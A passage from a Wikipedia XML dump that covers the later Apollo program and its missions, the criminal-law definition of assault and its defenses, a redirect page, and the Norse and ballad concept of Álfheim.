One plan involved using the [[Saturn IB]] to take the [[Apollo Command/Service Module|Command/Service Module]] (CSM) to a variety of low-earth orbits for missions lasting up to 45 days.  Some missions would involve the docking of two CSMs, and transfer of supplies. The [[Saturn V]] would be necessary to take it to [[polar orbit]], or [[sun-synchronous orbit]] (neither of which has yet been achieved by any manned spacecraft), and even to the [[geosynchronous]] orbit of [[Syncom 3]], a communications satellite not quite in [[geostationary]] orbit. This was the first functioning [[communications satellite]] at that now-common great distance from the Earth, and it was small enough to be carried through the hatch and taken back to Earth for study as to the effects of radiation on its electronic components in that environment over a period of years. A return to the moon was also planned, this time to orbit for a longer time to map the surface with high-precision equipment. This mission would not include a landing. 

Of all the plans only two were implemented; the [[Skylab]] space station (May 1973 – February 1974), and the [[Apollo-Soyuz Test Project]] (July 1975). [[Skylab]]'s fuselage was constructed from the second stage of a [[Saturn IB]], and the station was equipped with the [[Apollo Telescope Mount]], itself based on a [[lunar module]]. The station's three crews were ferried into orbit atop [[Saturn IB]]s, riding in CSMs; the station itself had been launched with a modified [[Saturn V]]. Skylab's last crew departed the station on [[February 8]], [[1974]], whilst the station itself returned prematurely to Earth in 1979, by which time it had become the oldest operational Apollo component.

The Apollo-Soyuz Test Project involved a docking in Earth orbit between an un-named CSM and a Soviet [[Soyuz spacecraft]]. The mission lasted from [[July 15]] to [[July 24]], [[1975]]. Although the Soviet Union continued to operate the Soyuz and [[Salyut]] space vehicles, NASA's next manned mission would not be until [[STS-1]] on [[April 12]], [[1981]].

==End of the program==

[[Image:ApolloCmd.JPG|thumbnail|left|Unflown command module CM-007 in a museum]]

Originally three additional lunar landing missions had been planned, as ''Apollo 18'' through ''Apollo 20''. In light of the drastically shrinking [[NASA]] budget and the decision not to produce a second batch of Saturn Vs, these missions were cancelled to make funds available for the development of the [[Space Shuttle]], and to make their Apollo spacecraft and Saturn V launch vehicles available to the [[Skylab]] program. Only one of the Saturn Vs was actually used; the others became museum exhibits.

Another excerpt from Kennedy's Special Message to Congress:

:&quot;I believe we should go to the moon. But I think every citizen of this country as well as the Members of the Congress should consider the matter carefully in making their judgment, to which we have given attention over many weeks and months, because it is a heavy burden, and there is no sense in agreeing or desiring that the United States take an affirmative position in outer space, unless we are prepared to do the work and bear the burdens to make it successful. If we are not, we should decide today and this year.

[[Image:LunarLander.JPG|thumbnail|left|Lunar lander LM2 at the [[National_Air_And_Space_Museum|National Air and Space Museum]] ]]

:&quot;This decision demands a major national commitment of scientific and technical manpower, material and facilities, and the possibility of their diversion from other important activities where they are already thinly spread. It means a degree of dedication, organization and discipline which have not always characterized our research and development efforts. It means we cannot afford undue work stoppages, inflated costs of material or talent, wasteful interagency rivalries, or a high turnover of key personnel.

:&quot;New objectives and new money cannot solve these problems. They could in fact, aggravate them further--unless every scientist, every engineer, every serviceman, every technician, contractor, and civil servant gives his personal pledge that this nation will move forward, with the full speed of freedom, in the exciting adventure of space.&quot; (Excerpt from &quot;Special Message to the Congress on Urgent National Needs&quot;)

==Reasons for Apollo==

The Apollo program was at least partly motivated by psycho-political considerations, in response to persistent perceptions of American inferiority in space technology vis-a-vis the [[Soviet Union|Soviets]], in the context of the [[Cold War]] and the [[Space Race]]. In this respect it succeeded brilliantly. In fact, American superiority in manned spaceflight was achieved in the precursory [[Gemini program]], even before the first Apollo flight.  

The Apollo program stimulated many areas of technology.  The [[Apollo Guidance Computer|flight computer]] design used in both the lunar and command modules was, along with the [[LGM-30 Minuteman|Minuteman Missile System]], the driving force behind early research into [[integrated circuit]]s.  The [[fuel cell]] developed for this program was the first practical fuel cell.  Computer controlled machining ([[CNC]]) was pioneered in fabricating Apollo structural components.

Many [[astronaut]]s and [[astronaut|cosmonaut]]s have commented on the profound effects that seeing earth from space has had on them. One of the most important legacies of the Apollo program was the now-common, but not universal view of Earth as a fragile, small planet, captured in the photographs taken by the astronauts during the lunar missions. The most famous of these photographs, taken by the [[Apollo 17]] astronauts, is &quot;[[The Blue Marble]].&quot; These photographs have also motivated many people toward [[environmentalism]] and [[space colonization]].

== Miscellaneous information ==

*The cost of the entire Apollo program: [[United States dollar|USD]] $25.4 billion -1969 Dollars ($135-billion in 2005 Dollars). See [[NASA Budget]]. (Includes Mercury, Gemini, Ranger, Surveyor, Lunar Orbitar, Apollo programs.) Apollo spacecraft and Saturn rocket cost alone, was about $ 83-billion 2005 Dollars (Apollo spacecraft cost $ 28-billion (CS/M $ 17-billion; LM $ 11-billion), Saturn I, IB, V costs about $ 46-billion 2005 dollars). 
*Amount of [[Moon rocks|moon material]] brought back by the Apollo program: 381.7 [[kilogram|kg]] (841.5 lb). Most of the material is stored at the [[Lunar Receiving Laboratory]] in Houston.

==Missions==
[[Image:Moon map showing Apollo missions.PNG|thumb|Location of Apollo missions on the moon]]
The Apollo program used four types of launch vehicles:
*[[Little Joe II]] - unmanned suborbital [[launch escape system]] development.
*[[Saturn I]] - unmanned suborbital and orbital hardware development.
*[[Saturn IB]] - unmanned and manned earth orbit development and operational missions.
*[[Saturn V]] - unmanned and manned earth orbit and lunar missions.

Something to note with Apollo flights is that Marshall Space Flight Center, which designed the Saturn rockets, referred to the flights as Saturn-Apollo (SA), while Kennedy Space Center referred to the flights as Apollo-Saturn (AS). This is why the unmanned Saturn 1 flights are referred to as SA and the unmanned Saturn 1B are referred to as AS.

Dates given below are dates of launch.

===Unmanned [[Saturn I]]===
*[[SA-1 (Apollo)|SA-1]] - [[October 27]], [[1961]]. Test of the S-1 Rocket
*[[SA-2 (Apollo)|SA-2]] - [[April 25]], [[1962]]. Test of the S-1 Rocket and carried 109 m³ of water into the upper atmosphere to investigate effects on radio transmission and changes in local weather conditions.
*[[SA-3 (Apollo)|SA-3]] - [[November 16]], [[1962]]. Same as SA-2
*[[SA-4 (Apollo)|SA-4]] - [[March 28]], [[1963]]. Test effects of premature engine shutdown
*[[SA-5 (Apollo)|SA-5]] - [[January 29]], [[1964]]. First flight of live second stage
*[[A-101]] - [[May 28]], [[1964]]. Tested the structural integrity of a boilerplate Apollo Command and Service Module
*[[A-102]] - [[September 18]], [[1964]]. Carried the first programmable computer on the Saturn I vehicle; last test flight
*[[A-103]] - [[February 16]], [[1965]]. Carried Pegasus A micrometeorite satellite
*[[A-104]] - [[May 25]], [[1965]]. Carried Pegasus B micrometeorite satellite
*[[A-105]] - [[July 30]], [[1965]]. Carried Pegasus C micrometeorite satellite

===Unmanned pad abort tests===
[[Image:Pad Abort Launch.jpg|right|thumb|100px|Pad Abort Test (NASA)]]

*[[Pad Abort Test-1 (Apollo)|Pad Abort Test-1]] - [[November 7]], [[1963]]. Launch Escape System (LES) abort test from launch pad.
*[[Pad Abort Test-2 (Apollo)|Pad Abort Test-2]] - [[June 29]], [[1965]]. LES pad abort test of near Block-I CM.

===Unmanned [[Little Joe II]]===
*[[QTV]]   - [[August 28]], [[1963]]. Little Joe II qualification test.
*[[A-001]] - [[May 13]], [[1964]]. LES transonic abort test.
*[[A-002]] - [[December 8]], [[1964]]. LES maximum altitude, Max-Q abort test.
*[[A-003]] - [[May 19]], [[1965]]. LES canard maximum altitude abort test.
*[[A-004]] - [[January 20]], [[1966]]. LES test of maximum weight, tumbling Block-I CM.

===Unmanned [[Apollo spacecraft| Apollo]]-[[Saturn IB]] and [[Saturn V]]===
*[[AS-201]] - [[February 26]], [[1966]]. First test flight of [[Saturn IB]] rocket
*[[AS-203]] - [[July 5]], [[1966]]. Investigated effects of weightlessness on fuel tanks of [[S-IVB]]
*[[AS-202]] - [[August 25]], [[1966]]. Sub-orbital test flight of [[Apollo spacecraft| Command and Service Module]]
*''[[Apollo 4]]'' - [[November 9]], [[1967]]. First test of the Saturn V booster
*''[[Apollo 5]]'' - [[January 22]], [[1968]]. Test of the Saturn IB booster and [[Lunar Module]]
*''[[Apollo 6]]'' - [[April 4]], [[1968]]. Test of the Saturn V booster

===Manned===
*''[[Apollo 1]]'' - Crew died in spacecraft fire atop launch vehicle during pre-launch tests on [[January 27]], [[1967]].
*''[[Apollo 7]]'' - [[October 11]], [[1968]]. First manned Apollo flight, first manned flight of the Saturn IB.
*''[[Apollo 8]]'' - [[December 21]], [[1968]]. First manned flight around the Moon, first manned flight of the Saturn V.
*''[[Apollo 9]]'' - [[March 3]], [[1969]]. First manned flight of the Lunar Module.
*''[[Apollo 10]]'' - [[May 18]], [[1969]]. First manned flight of the Lunar Module around the Moon.
*''[[Apollo 11]]'' - [[July 16]], [[1969]]. First manned landing on the Moon, [[July 20]].
*''[[Apollo 12]]'' - [[November 14]], [[1969]]. First precise manned landing on the Moon.
*''[[Apollo 13]]'' - [[April 11]], [[1970]]. Oxygen tank explodes en route, landing is cancelled, first (and, as of [[2006]], only) manned non-orbital lunar flight.
*''[[Apollo 14]]'' - [[January 31]], [[1971]]. [[Alan Shepard]], the sole astronaut of the [[Freedom 7|Mercury MR-3 mission]], walks on the Moon.
*''[[Apollo 15]]'' - [[July 26]], [[1971]]. First mission with the [[Lunar Rover]] vehicle.
*''[[Apollo 16]]'' - [[April 16]], [[1972]]. First landing in the lunar highlands.
*''[[Apollo 17]]'' - [[December 7]], [[1972]]. Final Apollo lunar mission, first night launch, only mission with a professional geologist.

The original pre-lunar landing program was more conservative but, as the 'all-up' test flights for the Saturn V proved successful, some missions were deleted. The revised schedule published in October 1967 had the first manned Apollo CSM earth orbit mission (''Apollo 7'') followed by an Earth Orbit Rendezvous of the CSM and LM launched on two Saturn 1Bs (''Apollo 8'') followed by a Saturn V launched CSM on a Large Earth Orbit Mission (''Apollo 9'') followed by the Saturn V launched dress rehearsal in Lunar Orbit with ''Apollo 10''. By the summer of 1968 it became clear to program managers that a fully functional LM would not be available for the ''Apollo 8'' mission. Rather than perform a simple earth orbiting mission, they chose to send ''Apollo 8'' around the moon during Christmas. The original idea for this switch was the brainchild of George Low. Although it has often been claimed that this change was made as a direct response to Soviet attempts to fly a piloted [[Zond program|Zond]] spacecraft around the moon, there is no evidence that this was actually the case.  NASA officials were aware of the Soviet Zond flights, but the timing of the Zond missions does not correspond well with the extensive written record from NASA about the ''Apollo 8'' decision.  It is relatively certain that the ''Apollo 8'' decision was primarily based upon the LM schedule, rather than fear of the Soviets beating the Americans to the moon.

===Cancelled missions===
{{main|Cancelled Apollo missions}}

*''Apollo 18'' 
*''Apollo 19'' 
*''Apollo 20''

== Current locations of Apollo Command Modules ==

'''Apollo 6''' Command Module - [[Fernbank Science Center]], [[Atlanta, Georgia]]

'''Apollo 7''' Command Module - [[Frontiers of Flight Museum]], [[Dallas, Texas]]

'''Apollo 8''' Command Module - [[Museum of Science and Industry (Chicago)]], [[Chicago, Illinois]]

'''Apollo 9''' Command Module &quot;Gumdrop&quot; - [[San Diego Aerospace Museum]], [[San Diego, California]]

'''Apollo 9''' Lunar Module &quot;Spider&quot; - Burned up in Earth's atmosphere

'''Apollo 10''' Command Module &quot;Charlie Brown&quot; - [[Science Museum]], [[London, England]]

'''Apollo 10''' Lunar Module &quot;Snoopy&quot; - In [[heliocentric orbit]]

'''Apollo 11''' Command Module &quot;Columbia&quot; - [[National Air and Space Museum]], [[Washington, D.C.]]

'''Apollo 11''' Lunar Module &quot;Eagle&quot; - Jettisoned from Columbia on 7/21/69 at 23:41 UT Impact site unknown 

'''Apollo 12''' Command Module &quot;Yankee Clipper&quot; - [[Virginia Air and Space Center]], [[Hampton, Virginia]]

'''Apollo 12''' Lunar Module &quot;Intrepid&quot; - Impacted Moon 11/20/69 at 22:17:17.7 UT 3.94 S, 21.20 W 

'''Apollo 13''' Command Module &quot;Odyssey&quot; - [[Kansas Cosmosphere and Space Center]], [[Hutchinson, Kansas]]

'''Apollo 13''' Lunar Module &quot;Aquarius&quot; - Burned up in Earth's atmosphere 4/17/70
 
'''Apollo 14''' Command Module &quot;Kitty Hawk&quot; - [[Astronaut Hall of Fame]], [[Titusville, Florida]]

'''Apollo 14''' Lunar Module &quot;Antares&quot; - Impacted Moon 2/7/71 at 00:45:25.7 UT 3.42 S, 19.67 W 

'''Apollo 15''' Command Module &quot;Endeavor&quot; - [[USAF Museum]], [[Wright-Patterson Air Force Base]], [[Dayton, Ohio]]

'''Apollo 15''' Lunar Module &quot;Falcon&quot; - Impacted Moon 8/3/71 at 03:03:37.0 UT 26.36 N, 0.25 E 

'''Apollo 16''' Command Module &quot;Casper&quot; - [[U.S. Space &amp; Rocket Center]], [[Huntsville, Alabama]]

'''Apollo 16''' Lunar Module &quot;Orion&quot; - Released 4/24/72, loss of attitude control made targeted impact impossible, impact site unknown 

'''Apollo 17''' Command Module &quot;America&quot; - [[NASA Johnson Space Center]], [[Houston, Texas]]

'''Apollo 17''' Lunar Module &quot;Challenger&quot; - Impacted Moon 12/15/72 at 06:50:20.8 UT 19.96 N, 30.50 E 

'''Apollo-Soyuz''' Command Module - [[John F. Kennedy Space Center]], [[Cape Canaveral, Florida]]

'''Apollo-Soyuz''' Test Command Module - [[Museum of Flight]], [[Seattle, Washington]]

'''Skylab 2''' / Crew 1 Command Module - [[National Museum of Naval Aviation]], [[Pensacola, Florida]]

'''Skylab 3''' / Crew 2 Command Module - [[Glenn Research Center|NASA John H. Glenn Research Center at Lewis Field]], [[Cleveland, Ohio]]

'''Skylab 4''' / Crew 3 Command Module - [[National Air and Space Museum]], [[Washington, D.C.]]

===Later missions using left over Apollo hardware===
*[[Skylab]] - [[May 14]], [[1973]].
**''[[Skylab 2]]'' - [[May 25]], [[1973]].
**''[[Skylab 3]]'' - [[July 28]], [[1973]].
**''[[Skylab 4]]'' - [[November 16]], [[1973]].
*[[Apollo-Soyuz]] - [[July 15]], [[1975]].

===Apollo Launch Complex utilization===

*'''Launch Complex 34''' - [[SA-1 (Apollo)|SA-1]], [[SA-2 (Apollo)|SA-2]], [[SA-3 (Apollo)|SA-3]], [[SA-4 (Apollo)|SA-4]], [[AS-201]], [[AS-202]], ''[[Apollo 1|AS-204 (Apollo 1)]]'', [[Apollo 7|AS-205 (Apollo 7)]]
*'''Launch Complex 37A''' - no launches
*'''Launch Complex 37B''' - [[SA-5 (Apollo)|SA-5]], [[A-101]], [[A-102]], [[A-103]], [[A-104]], [[A-105]], [[AS-203]], [[Apollo 5|AS-204 (''Apollo 5'')]]
*'''Launch Complex 39A''' - [[Apollo 4|AS-501 (''Apollo 4'')]], [[Apollo 6|AS-502 (''Apollo 6'')]], [[Apollo 8|AS-503 (''Apollo 8'')]], [[Apollo 9|AS-504 (''Apollo 9'')]], [[Apollo 11|AS-506 (''Apollo 11'')]], [[Apollo 12|AS-507 (''Apollo 12'')]], [[Apollo 13|AS-508 (''Apollo 13'')]], [[Apollo 14|AS-509 (''Apollo 14'')]], [[Apollo 15|AS-510 (''Apollo 15'')]], [[Apollo 16|AS-511 (''Apollo 16'')]], [[Apollo 17|AS-512 (''Apollo 17'')]], [[Skylab|AS-513 (Skylab 1)]]
*'''Launch Complex 39B''' - [[Apollo 10|AS-505 (''Apollo 10'')]], [[Skylab 2|AS-206 (Skylab 2)]], [[Skylab 3|AS-207 (Skylab 3)]], [[Skylab 4|AS-208 (Skylab 4)]], [[Apollo-Soyuz|AS-210 (ASTP)]].

==See also==
*[[List of lunar astronauts]]
*[[List of artificial objects on the Moon]]
*[[Extra-vehicular activity]] - List and duration of moonwalks
*[[Apollo moon landing hoax accusations]]
*[[Splashdown]]
*[[Ranger program]]
*[[Soviet moonshot]]
*[[Surveyor program]]
*[[Lunar Orbiter program]]
*[[Crew Exploration Vehicle]]
*[[Space race]]
*[[Launch complex 39]]

==References==
* [[Gene Kranz|Kranz, Gene]], ''Failure is Not an Option''. Factual, from the standpoint of a chief flight controller during the [[Project Mercury|Mercury]], [[Project Gemini|Gemini]], and Apollo space programs. ISBN 0743200799
* Chaikin, Andrew. ''A Man on the Moon''. ISBN 0140272011. Chaikin has interviewed all the surviving [[astronaut]]s, plus many others who worked with the program.
* [[Charles Shaar Murray|Murray, Charles]]; Cox, Catherine B. ''Apollo: The Race to the Moon''. ISBN 0671611011. This is an excellent account of what it took to build and fly Apollo.
* Cooper, Henry S. F. Jr.  ''Thirteen: The Flight That Failed''.  ISBN 0801850975.  Although this book focuses on Apollo 13, it is extremely well-researched and provides a wealth of background information on Apollo technology and procedures.
* Wilhelms, Don E. ''To a Rocky Moon''. ISBN 0816510652. Tells the history of Lunar exploration from a geologist's point of view.
* Pellegrino, Charles R.; Stoff, Joshua. ''Chariots for Apollo: The Untold Story Behind the Race to the Moon''. ISBN 0380802619. Tells [[Grumman Aerospace Corporation|Grumman]]'s story of building the Lunar Modules.
* [[Jim Lovell|Lovell, Jim]]; Kluger, Jeffrey. ''Lost Moon: The perilous voyage of Apollo 13'' aka ''Apollo 13: Lost Moon''. ISBN 0618056653. Details the flight of Apollo 13.
* [[Michael Collins (astronaut)|Collins, Michael ]]. ''Carrying the Fire; an Astronaut's journeys''.  Astronaut Mike Collins autobiography of his experiences as an astronaut, including his flight aboard Apollo 11, the first landing on the Moon
* [[Deke Slayton|Slayton, Donald K.]]; Cassutt, Michael. ''Deke! An Autobiograpy''.  ISBN 031285918X. This is an excellent account of Deke Slayton's life as an astronaut and of his work as chief of the astronaut office, including selection of the crews which flew Apollo to the Moon.
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19790020032_1979020032.pdf Chariots for Apollo: A history of Manned Lunar Spacecraft - NASA report (PDF format)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19690022643_1969022643.pdf The Apollo spacecraft. Volume 1 - A chronology: From origin to [[7 November]]. 1962 - (PDF format)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19740004394_1974004394.pdf The Apollo spacecraft: Volume 2 - A chronology: [[8 November]] [[1962]] - [[30 September]] [[1964]] - (PDF format)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19760014180_1976014180.pdf The Apollo spacecraft: Volume 3 - A chronology: [[1 October]] [[1964]] - [[20 January]] [[1966]] - (PDF format)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19800011953_1980011953.pdf The Apollo spacecraft: Volume 4 - A chronology: [[21 January]] [[1966]] - [[13 July]] [[1974]] - (PDF format)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19750013242_1975013242.pdf Apollo program summary report: Synopsis of the Apollo program - NASA report (PDF format)]

==External links==

* [http://moonpans.com/missions.htm A Collection of Apollo Lunar Surface Panoramas]
* [http://spaceflight.nasa.gov/history/apollo/index.html Official Apollo program website]
* [http://www.hq.nasa.gov/office/pao/History/SP-4205/contents.html Chariots for Apollo: A History of Manned Lunar Spacecraft By Courtney G Brooks, James M. Grimwood, Loyd S. Swenson]
* [http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm NASA SP-4009 The Apollo Spacecraft: A Chronology]
* [http://history.nasa.gov/SP-4029/SP-4029.htm SP-4029 Apollo by the Numbers: A Statistical Reference by Richard W. Orloff]
* [http://history.nasa.gov/apollo.html The Apollo Program Page at the NASA History Division Website]
* [http://www.hq.nasa.gov/alsj/frame.html The Apollo Lunar Surface Journal]
* [http://science.ksc.nasa.gov/history/apollo/apollo.html Project Apollo (Kennedy Space Center)]
* [http://history.nasa.gov/diagrams/apollo.html Project Apollo Drawings and Technical Diagrams]
* [http://www.lunarrock.com/Inventory.asp Lunar Rock Inventory]
* [http://www.Apolloarchive.com/ The Project Apollo Archive]
* [http://www.globalcuts.com/NASA/stock_footage_trailer_movie.htm Spirit of Apollo] Apollo 11 Memorial Video
* [http://www.nasm.si.edu/collections/imagery/Apollo/Apollo.htm The Apollo Program (National Air and Space Museum)]
* [http://sourceforge.net/projects/nassp/ Project Apollo for Orbiter spaceflight simulator]
* [http://moon.google.com/ Google Moon: interactive map of the Moon and Apollo landing sites]

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  <page>
    <title>Assault</title>
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      <text xml:space="preserve">{{CrimLaw}}
{{otheruses}}
'''Assault''' is a [[crime]] of [[violence]] against another [[human|person]]. In some [[jurisdiction]]s, assault is used to refer to the actual violence, while in other jurisdictions (e.g. some in the [[United States]],  [[England and Wales]]), assault refers only to the threat of violence, while the actual violence is [[battery (crime)|battery]]. '''Simple assaults''' do not involve deadly [[weapon]]s; '''[[aggravated assault]]s''' often do. 

Assault is often defined to include not only violence, but any physical contact with another person without their consent. When assault is defined like this, exceptions are provided to cover such things as normal social behavior (for example, patting someone on the back).

[[English law]] makes distinctions based on the degree of injury, between:
* [[common assault]] (which can be even the most minor assault)
* assault with [[actual bodily harm]] (ABH)
* assault with [[grievous bodily harm]] (GBH)

==American Jurisprudence==
American '''[[common law]]''' has traditionally defined assault as an attempt to commit a [[battery (crime)|battery]]. 

Assault is typically treated as a [[misdemeanor]] and not as a [[felony]].  The more serious crime of [[aggravated assault]] is treated as a felony.

Four elements were required at common law:   1) The apparent, present ability to carry out; 2) an unlawful attempt; 3) to commit a violent injury; 4) upon another.  As the criminal law evolved, element 1 was weakened in most jurisdictions so that a reasonable fear of bodily injury would suffice.  These four elements were eventually codified in most States.

Modern American statutes define assault as:
1) an attempt to cause or purposely, knowingly, or recklessly causing bodily injury to another; or,
2) negligently causing bodily injury to another with a deadly weapon.  

The requirement is that a person be the subject of the attack or threatened attack. The principle underlying the [[Unborn Victims of Violence Act]] 2004 applies only to offenses over which the [[United States]] government has jurisdiction, namely crimes committed on [[Federal Government of the United States|Federal]] properties, against certain [[Federal Government of the United States|Federal]] officials and employees, and by members of the military, and treats the [[fetus]] as a separate person for the purposes of all levels of assault including [[murder]] and [[attempted murder]]:

&quot;Sec. 1841. Protection of unborn children
:(a)(1) Whoever engages in conduct that violates any of the provisions of law listed in subsection (b) and thereby causes the death of, or bodily injury (as defined in section 1365) to, a child, who is in utero at the time the conduct takes place, is guilty of a separate offense under this section.
:(2)(A) Except as otherwise provided in this paragraph, the punishment for that separate offense is the same as the punishment provided under Federal law for that conduct had that injury or death occurred to the unborn child's mother.
:2(B) An offense under this section does not require proof that--
::(i) the person engaging in the conduct had knowledge or should have had knowledge that the victim of the underlying offense was pregnant; or
::(ii) the defendant intended to cause the death of, or bodily injury to, the unborn child.
:2(C) If the person engaging in the conduct thereby intentionally kills or attempts to kill the unborn child, that person shall instead of being punished under subparagraph (A), be punished as provided under sections 1111, 1112, and 1113 of this title for intentionally killing or attempting to kill a human being.&quot;

Some States also define assault as an attempt to menace (or actual menacing) by placing another person in fear of imminent serious bodily injury.

States vary as to whether it is possible to commit an &quot;attempted assault&quot; since it can be considered a double [[inchoate]] offense. 

In some States, [[consent (criminal)|consent]] is a complete defense to assault.  In other jurisdictions, mutual consent is an incomplete defense, with the result that the [[misdemeanor]] is treated as a '''[[petty misdemeanor]]'''.

===Example===
Two men wave metal pipes threateningly at each other in an alley.  They are ten feet away from each other.  When one man advances, the other retreats, maintaining the distance between them.  The police come and break up the disturbance.  They charge each man with assault.  

The men would probably not be found guilty in an American common law jurisdiction. Being ten feet away does not make it likely or apparent that he would have the present ability to carry out an unlawful act.

However, they would probably be found guilty in a modern American jurisdiction. Each actor is trying to cause bodily injury to another and the fear of bodily injury is reasonable.

Some possible examples of defenses, mitigating circumstances, or failures of proof are:
*A defendant could argue that since he was drunk, he could not form the [[intention (criminal)|specific intent]] to commit assault. This defense would most likely fail since only involuntary [[intoxication defense|intoxication]] is accepted as a defense in most American jurisdictions.
*The defendants could also argue that they were engaged in mutually consensual behavior.

==General defenses to assaults==
Although the range and precise application of defenses varies between jurisdictions, the folloiwng represents a list of the defenses that may apply to all levels of assault:
===Consent===
[[consent (criminal)|Consent]] may a complete or partial defense to assault. In some jurisdictions, most notably [[England]], it is not a defense where the degree of injury is severe: see [http://www.lawteacher.net/Criminal/Non%20Fatal%20Assaults/Consent%20R%20v%20Brown.htm R v Brown (1993) 2 All ER 75]). This can have important consequences when dealing with issues such as consensual [[sadomasochism|sadomasochistic]] [[sexual activity]], the most notable case being the [[Operation Spanner]] case. 
===Arrest and other official acts===
[[Police officers]] and court officials have a general power to use force for the purpose of effecting an [[arrest]] or generally carrying out their official duties. Thus, a court officer taking possession of goods under a court order may use force if reasonably necessary, etc.
===Punishment===
In some jurisdictions, [[caning]] and other forms of [[corporal punishment]] are a part of the [[culture]]. Self-evidently, if it is a state-administered [[punishment]], e.g. as in [[Singapore]], the officers who physically adminster the punishment have [[immunity]]. Some states also permit the use of less severe punishment for [[child]]ren in [[school]] and at home by [[parent]]s. In [[English law]], s58 Children Act 2004, limits the availability of the lawful correction defense to common assault under s39 Criminal Justice Act 1988.
===Self-defense===
[[Self-defense (theory)|Self defense and defense of others]] may be defenses to liability. They usually require that the degree of force used was both reasonable and proportionate to the degree of force threatened.
===Prevention of crime===
This may or may not involve self defense in that, using a reasonable degree of force to prevent another from committing a crime could involve preventing an assault, but it could be preventing a crime not involving the use of personal violence.
===[[Defense of property]]===
Some states allow force to be used to prevent damage to valuable property either in its own right, or under one or both of the preceding classes of defense in that a threat or attempt to damage property might be considered a crime (in English law, under s5 [[Criminal Damage Act 1971]] it may be argued that the defendant has a ''lawful excuse'' to damaging property during the defense and a defense under s3 Criminal Law Act 1967) subject to the need to deter [[vigilante]]s and excessive self-help.

==See also== 
* [[Affray]]
* [[Assault (tort)]]
* [[Gay-bashing]]
* [[Hate crime]]
* [[Domestic violence]]
* [[Offences Against The Person Act 1861]]
* [[Battery (crime)|Battery]]
* [[Misdemeanor]]
* [[Terrorism|Terroristic Threats]]
* [[Mayhem (crime)|Mayhem]]

[[Category:Assault|*]]
[[Category:Crimes]]
[[Category:Violence]]

[[es:Asalto]]
[[sv:Misshandel]]</text>
    </revision>
  </page>
  <page>
    <title>Australian Prime Ministers</title>
    <id>1476</id>
    <revision>
      <id>15899947</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Prime Minister of Australia]]
</text>
    </revision>
  </page>
  <page>
    <title>Álfheim</title>
    <id>1478</id>
    <revision>
      <id>40099442</id>
      <timestamp>2006-02-18T03:09:17Z</timestamp>
      <contributor>
        <username>Mceder</username>
        <id>126127</id>
      </contributor>
      <minor />
      <comment>Bahusia -&gt; Bohuslän</comment>
      <text xml:space="preserve">:''Alfheim redirects here. For other uses, see [[Alfheim (disambiguation)]]''
'''Álfheim''' (''[[Old Norse language|Old Norse]]'' '''Álfheimr''' 'Elf-home') is the abode of the ''Álfar'' '[[Elves]]' in [[Norse Mythology|Norse mythology]] and appears also in northern [[English ballads]] under the forms '''Elfhame''' and '''Elphame''', sometimes modernized as '''Elfland''' or '''Elfenland'''. It is also an ancient name for the modern Swedish province of [[Bohuslän]].

==The Elven abode==
===In Old Norse texts===
Álfheim as an abode of the Elves is mentioned only twice in [[Old Norse]] texts. 

The [[eddic poem]] ''[[Grimnismal|Grímnismál]]'' describes twelve divine dwellings beginning in stanza&amp;nbsp;5 with:
&lt;blockquote&gt;&lt;blockquote&gt;Ydalir call they &amp;nbsp; &amp;nbsp; the place where [[Ullr|Ull]]&lt;br/&gt;
A hall for himself hath set;&lt;br/&gt;
And Álfheim the gods &amp;nbsp; &amp;nbsp; to [[Freyr|Frey]] once gave&lt;br/&gt;
As a tooth-gift in ancient times.&lt;/blockquote&gt;&lt;/blockquote&gt;

A [[tooth-gift]] was a gift given to an [[infant]] on the cutting of the first tooth.

[[Snorri Sturluson]] in the ''[[Gylfaginning]]'' relates as the first of a series of abodes in heaven:
&lt;blockquote&gt;That which is called Álfheim is one, where dwell the peoples called [[Light Elves|Light-elves]] [''Ljósálfar'']; but the [[Dark elf|Dark-elves]] [''dökkálfar''] dwell down in the earth, and they are unlike in appearance, but by far more unlike in nature. The Light-elves are fairer to look upon than the sun, but the Dark-elves are blacker than pitch.
&lt;/blockquote&gt;
The account later, in speaking of a hall called [[Gimli|Gimlé]] and the southernmost end of heaven that shall survive when heaven and earth have passed away, explains:
&lt;blockquote&gt;It is said that another heaven is to the southward and upward of this one, and it is called [[Andlang]] [''Andlangr'' 'Endlong'] but the third heaven is yet above that, and it is called [[Vídbláin]] [''Vídbláinn'' 'Wide-blue'] and in that heaven we think this abode is. But we believe that none but Light-Elves inhabit these mansions now.&lt;/blockquote&gt;
It is not indicated whether these heavens are identical to Álfheim or distinct. Some texts read Vindbláin (''Vindbláinn'' 'Wind-blue') instead of Vídbláin.

Modern commentators speculate (or sometimes state as fact) that Álfheim was one of the nine worlds (''heima'') mentioned in stanza&amp;nbsp;2 of the eddic poem ''[[Völuspá]]''.

===In English text===
In several [[Scots language|Scots]] and [[English language|English]] [[ballad]]s about the [[fairy|fairies]] and their lore, the realm of the those folk is called ''Elphame'' or ''Elfhame'', though at other times ''Elfland'' or '''Elfenland''.  The fairy queen is often called the &quot;Queen of Elphame&quot; in ballads such as that of [[Thomas the Rhymer]]:
&lt;blockquote&gt;&lt;blockquote&gt;'I'm not the Queen of Heaven, Thomas,&lt;br/&gt;
That name does not belong to me;&lt;br/&gt;
I am but the Queen of fair Elphame&lt;br/&gt;
Come out to hunt in my follie.'&lt;/blockquote&gt;&lt;/blockquote&gt;

Elfhame, or Elfland, is portrayed in a variety of ways in these ballads and stories, most commonly as mystical and benevolent, but also at times as sinister and wicked. The mysteriousness of the land, and its otherworldly powers are a source of scepticism and distrust in many tales. Examples of journeys to the realm include &quot;Thomas the Rhymer&quot; and the fairy tale &quot;[[Childe Rowland]]&quot;, the latter being a particularly negative view of the land.

===Used by J. R. R. Tolkien===
